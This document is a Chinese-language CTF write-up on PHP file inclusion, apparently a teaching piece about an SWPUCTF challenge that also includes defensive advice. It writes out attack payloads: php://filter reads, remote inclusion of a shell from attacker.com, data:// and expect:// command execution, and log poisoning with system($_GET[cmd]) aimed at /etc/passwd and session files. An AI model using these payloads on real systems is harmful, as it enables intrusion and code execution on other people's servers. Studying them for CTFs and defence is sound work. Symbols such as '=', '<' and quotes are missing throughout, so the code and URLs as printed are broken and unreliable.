
从SWPUCTF赛题探索PHP文件包含漏洞的深层攻防在CTF竞赛和实际渗透测试中PHP文件包含漏洞一直是Web安全领域的重要课题。这道来自SWPUCTF新生赛的题目看似简单却蕴含了丰富的攻防对抗思路。当allow_url_include配置被开启时攻击面会显著扩大远不止于常见的伪协议利用。1. 漏洞环境与基础利用分析题目给出的PHP脚本虽然简短但包含了几个关键安全配置?php ini_set(allow_url_include,on); header(Content-type: text/html; charsetutf-8); error_reporting(0); $file$_GET[file]; if(isset($file)){ show_source(__FILE__); echo flag 在flag.php中; }else{ echo 传入一个file试试; } include_once($file);这段代码中最危险的操作是直接使用include_once($file)且未对$file参数做任何过滤。更关键的是开发者通过ini_set临时开启了allow_url_include选项这为多种攻击方式打开了大门。1.1 基础伪协议利用最常见的解法是使用php://filter伪协议读取文件内容http://target.com/?filephp://filter/readconvert.base64-encode/resourceflag.php这种方式的原理是php://filter允许对数据流进行过滤处理convert.base64-encode将文件内容转换为Base64格式由于编码后的内容不是有效PHP代码因此不会被执行攻击者只需解码Base64即可获取原始文件内容典型过滤器组合过滤器类型作用示例convert.base64-encodeBase64编码readconvert.base64-encode/resourceflag.phpstring.rot13ROT13编码readstring.rot13/resourceflag.phpzlib.deflate压缩数据readzlib.deflate/resourceflag.php2. allow_url_include开启后的攻击面扩展当allow_url_includeOn时PHP允许包含远程文件这极大扩展了攻击可能性。以下是几种进阶利用方式2.1 远程文件包含(RFI)攻击者可以托管恶意PHP脚本然后通过URL包含执行http://target.com/?filehttp://attacker.com/shell.txt注意现代PHP默认配置会阻止包含带有HTTP/FTP协议的远程文件除非同时满足以下条件allow_url_fopenOnallow_url_includeOn远程服务器返回的文件扩展名在特定条件下可被解析为PHP2.2 data://协议利用data协议允许直接在URL中包含数据http://target.com/?filedata://text/plain,?php phpinfo();?或者使用Base64编码方式http://target.com/?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz82.3 expect://协议利用在特定环境下expect协议可以执行系统命令http://target.com/?fileexpect://ls不过这种利用方式需要满足PHP安装了expect扩展通常在生产环境中不常见3. 防御策略与安全编码实践针对文件包含漏洞开发者应采取多层次防御措施3.1 输入验证与过滤// 白名单方式验证包含文件 $allowed [header.php, footer.php]; $file $_GET[file]; if(in_array($file, $allowed)) { include($file); } else { die(Invalid file request); }3.2 安全配置建议在php.ini中设置allow_url_includeOff allow_url_fopenOff使用open_basedir限制文件访问范围保持PHP版本更新修复已知漏洞3.3 日志监控与异常检测建议监控以下异常行为包含操作中使用异常协议(php://, data://等)包含操作中尝试访问系统敏感文件(/etc/passwd等)短时间内大量包含操作尝试4. 实战中的高级利用技巧在真实渗透测试中文件包含漏洞往往需要结合其他技术实现更深层次的入侵。4.1 日志文件注入如果服务器权限配置不当可以通过包含日志文件(如access.log)实现代码执行发送包含PHP代码的请求GET /?php system($_GET[cmd]);? HTTP/1.1然后包含日志文件http://target.com/?file/var/log/apache2/access.log4.2 会话文件包含PHP会话文件(/tmp/sess_[id])有时包含用户可控数据可尝试注入http://target.com/?file/tmp/sess_abc1234.3 环境变量利用某些特殊环境变量可能包含用户可控数据http://target.com/?file/proc/self/environ5. 自动化检测与工具使用安全研究人员可以使用以下工具辅助检测文件包含漏洞常用工具对比工具名称类型特点Burp Suite商业强大的手动测试工具支持自定义扫描Wfuzz开源支持参数模糊测试可自定义字典LFI Suite开源专门针对LFI漏洞的测试工具典型测试Payload../../../../etc/passwd php://filter/convert.base64-encode/resourceindex.php data://text/plain,?php phpinfo();?在实际测试中建议先使用无害的包含测试(如包含自身)确认漏洞存在后再尝试敏感操作。